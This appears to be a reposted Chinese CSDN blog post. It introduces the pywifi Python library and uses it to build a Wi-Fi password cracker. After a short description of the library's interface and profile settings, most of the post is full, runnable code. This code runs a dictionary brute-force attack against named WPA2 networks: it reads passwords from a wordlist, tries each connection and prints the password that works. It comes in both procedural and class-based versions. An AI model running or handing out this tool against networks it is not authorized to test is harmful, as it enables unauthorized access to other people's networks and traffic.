pywifi模塊介紹:
pywifi提供了一個跨平台的Python模塊,用於操作無線接口
支持Windows和Linux
下載安裝模塊:pip install pywifi 和pip install comtypes
簡單嘗試:
# f = open('wifi_password.txt','r') # password = f.readline() # while password: # print(password[:-1]) # password = f.readline() # import pywifi from pywifi import const #獲取連接狀態的常量庫 import time # 抓取網卡接口 wifi = pywifi.PyWiFi() # 獲取第一個無線網卡 ifaces = wifi.interfaces()[0] # 斷開網卡連接 ifaces.disconnect() time.sleep(1) # 獲取wifi的連接狀態 wifistatus = ifaces.status() # 網卡斷開鏈接后開始連接測試 if wifistatus == const.IFACE_DISCONNECTED: # 創建wifi連接文件 profile = pywifi.Profile() # 要連接的wifi的名稱 貌似不能用中文? profile.ssid = '9168hfh' # 網卡的開放狀態 | auth - AP的認證算法 profile.auth = const.AUTH_ALG_OPEN # wifi的加密算法,一般wifi 加密算法時wps #選擇wifi加密方式 akm - AP的密鑰管理類型 profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密單元 /cipher - AP的密碼類型 profile.cipher = const.CIPHER_TYPE_CCMP # 調用密碼 /wifi密鑰 如果無密碼,則應該設置此項CIPHER_TYPE_NONE profile.key = pwd # 刪除所有連接過的wifi文件 ifaces.remove_all_network_profiles() # 加載新的連接文件 tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) # wifi連接時間 time.sleep(2) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False else: print("已有wifi連接")
1.wifi接口的操作:
這里的接口指我們用來執行wifi操作(例如:掃描,連接,斷開…)的接口
通常,我們平台中只有一個Wi-Fi接口,就像你主機不能同時連接多個wifi(騷操作就算了),因此,使用索引0來獲得Wi-Fi接口
wifi = pywifi.PyWiFi() #定義接口操作 iface = wifi.interfaces()[0] #這里iface就是獲取的wifi接口 #注意:以下的iface全部是指通過此方式獲取的wifi接口,在實際操作中可以自己另外命名
接口名字:
print(iface)
iface.name() #獲取wifi接口名稱
print(iface.name())
掃描wifi(AP):
iface.scan() #觸發接口掃描附近wifi(就是AP啦)
獲取掃描結果:
iface.scan_result() #獲取先前觸發掃描的結果,會返回一個列表喲
添加AP配置文件(為了連接):
iface.add_network_profile(配置文件名) #下面會講解如何進行配置
刪除所有AP配置文件(為了下一次新的連接):
iface.remove_all_network_profiles()
返回配置文件列表:
iface.network_profiles() #你連接上wifi的時候可以用這個試試,會返回你連接的wifi的信息
連接wifi:
iface.connect(配置文件名) #通過給定的配置文件連接到指定的AP #注意:添加AP配置文件add_network_profile(profile),應該在連接AP iface.connect(profile)之前
斷開AP連接:
iface.disconnect() #斷開當前的AP連接
要判斷是否連接WiFi,我們需要導入一個常量庫:
from pywifi import const iface.status() 將返回以下狀態碼之一,這個庫里面就顯示了接口是否連接對於的常量: const.IFACE_DISCONNECTED const.IFACE_SCANNING const.IFACE_INACTIVE const.IFACE_CONNECTING const.IFACE_CONNECTED
2.配置文件:
生成配置文件對象:
profile=pywifi.Profile() #生成對象而已,接下來就能對他進行配置操作了
配置文件的操作方式:
ssid - AP的名稱 wifi的名稱 auth - AP的認證算法 akm - AP的密鑰管理類型 wifi的加密算法, cipher - AP的密碼類型 key (optinoal) - AP的關鍵。如果無密碼,則應該設置此項CIPHER_TYPE_NONE
*使用方式:
profile.ssid='wifi_name' #wifi名稱 profile.auth=const.AUTH_ALG_OPEN #auth - AP的認證算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) #選擇wifi加密方式 profile.cipher=const.CIPHER_TYPE_CCMP #cipher - AP的密碼類型 profile.key=password #wifi密鑰 key (optinoal) - AP的關鍵。如果無密碼,則應該設置此項CIPHER_TYPE_NONE
必要的說明:
auth - AP的認證算法:
也是身份驗證的算法,其實,幾乎所有AP都使用開放算法,盡管我們可以有以下設置
const.AUTH_ALG_OPEN const.AUTH_ALG_SHARED
akm - AP的密鑰管理類型:
const.AKM_TYPE_NONE #AP沒有安全設置 const.AKM_TYPE_WPAPSK #AP處於WPA模式 const.AKM_TYPE_WPA2PSK #AP處於WPA2模式 AKM_TYPE_WPA和AKM_TYPE_WPA2針對企業的AP(這里就不解釋了): const.AKM_TYPE_WPA const.AKM_TYPE_WPA2
cipher - AP的密碼類型:
const.CIPHER_TYPE_NONE #如果AP沒有安全設置,則應將密碼類型設置為ProfileAKM_TYPE_NONE const.CIPHER_TYPE_WEP const.CIPHER_TYPE_TKIP const.CIPHER_TYPE_CCMP #通常情況下設置為這個,雖然不知道是什么
接下來就要靈活使用上面的操作了(針對中文wifi名無法破解)
import pywifi from pywifi import const #獲取連接狀態的常量庫 import time # 測試鏈接,返回連接結果 def wifiConnect(ifaces,pwd): # 斷開網卡連接 ifaces.disconnect() time.sleep(1) # 獲取wifi的連接狀態 wifistatus = ifaces.status() # 網卡斷開鏈接后開始連接測試 if wifistatus == const.IFACE_DISCONNECTED: # 創建wifi連接文件 profile = pywifi.Profile() # 要連接的wifi的名稱 貌似不能用中文? profile.ssid = '9168hfh' # 網卡的開放狀態 | auth - AP的認證算法 profile.auth = const.AUTH_ALG_OPEN # wifi的加密算法,一般wifi 加密算法時wps #選擇wifi加密方式 akm - AP的密鑰管理類型 profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密單元 /cipher - AP的密碼類型 profile.cipher = const.CIPHER_TYPE_CCMP # 調用密碼 /wifi密鑰 如果無密碼,則應該設置此項CIPHER_TYPE_NONE profile.key = pwd # 刪除所有連接過的wifi文件 ifaces.remove_all_network_profiles() # 加載新的連接文件 tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) # wifi連接時間 time.sleep(2) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False else: print("已有wifi連接") # 讀取密碼本 def readPassword(): print("開始破解:") # 密碼本路徑 path ="wifi_password.txt" # 打開文件 f = open(path,"r") while True: try: # 一行一行讀取 password = f.readline() password = password[:-1] # 去除一行末的換行符 bool = wifiConnect(ifaces,password) if bool: print("密碼已破解:",password) print("wifi已連接!") ifaces.network_profiles() # 你連接上wifi的時候可以用這個試試,會返回你連接的wifi的信息 break else: print("密碼破解中,密碼校對:",password) if not password: print('文件已讀取完,退出。') f.close() break except: # continue print("error") if __name__ == '__main__': # 抓取網卡接口 wifi = pywifi.PyWiFi() # 獲取第一個無線網卡 ifaces = wifi.interfaces()[0] # print(ifaces) # 獲取電腦無線網卡的名稱 # print(ifaces.name()) readPassword()
類方法實現
# coding:utf-8 import time #時間 import pywifi #破解wifi from pywifi import const #引用一些定義 from asyncio.tasks import sleep class PoJie(): def __init__(self,path): self.file=open(path,"r",errors="ignore") wifi = pywifi.PyWiFi() #抓取網卡接口 self.iface = wifi.interfaces()[0]#抓取第一個無限網卡 self.iface.disconnect() #測試鏈接斷開所有鏈接 time.sleep(1) #休眠1秒 #測試網卡是否屬於斷開狀態, assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def readPassWord(self): print("開始破解:") while True: try: myStr =self.file.readline() if not myStr: break bool1=self.test_connect(myStr) if bool1: print("密碼正確:",myStr) break else: print("密碼錯誤:"+myStr) sleep(3) except: continue def test_connect(self,findStr):#測試鏈接 profile = pywifi.Profile() #創建wifi鏈接文件 profile.ssid ="e2" #wifi名稱 profile.auth = const.AUTH_ALG_OPEN #網卡的開放, profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法 profile.cipher = const.CIPHER_TYPE_CCMP #加密單元 profile.key = findStr #密碼 self.iface.remove_all_network_profiles() #刪除所有的wifi文件 tmp_profile = self.iface.add_network_profile(profile)#設定新的鏈接文件 self.iface.connect(tmp_profile)#鏈接 time.sleep(5) if self.iface.status() == const.IFACE_CONNECTED: #判斷是否連接上 isOK=True else: isOK=False self.iface.disconnect() #斷開 time.sleep(1) #檢查斷開狀態 assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOK def __del__(self): self.file.close() path=r"C:\Users\Administrator\Desktop\csdnwifi.txt" start=PoJie(path) start.readPassWord()
const.CIPHER_TYPE_NONE #如果AP沒有安全設置,則應將密碼類型設置為ProfileAKM_TYPE_NONEconst.CIPHER_TYPE_WEPconst.CIPHER_TYPE_TKIPconst.CIPHER_TYPE_CCMP #通常情況下設置為這個,雖然不知道是什么————————————————版權聲明:本文為CSDN博主「這是一個死肥宅」的原創文章,遵循 CC 4.0 BY-SA 版權協議,轉載請附上原文出處鏈接及本聲明。原文鏈接:https://blog.csdn.net/qq_28840013/article/details/85141156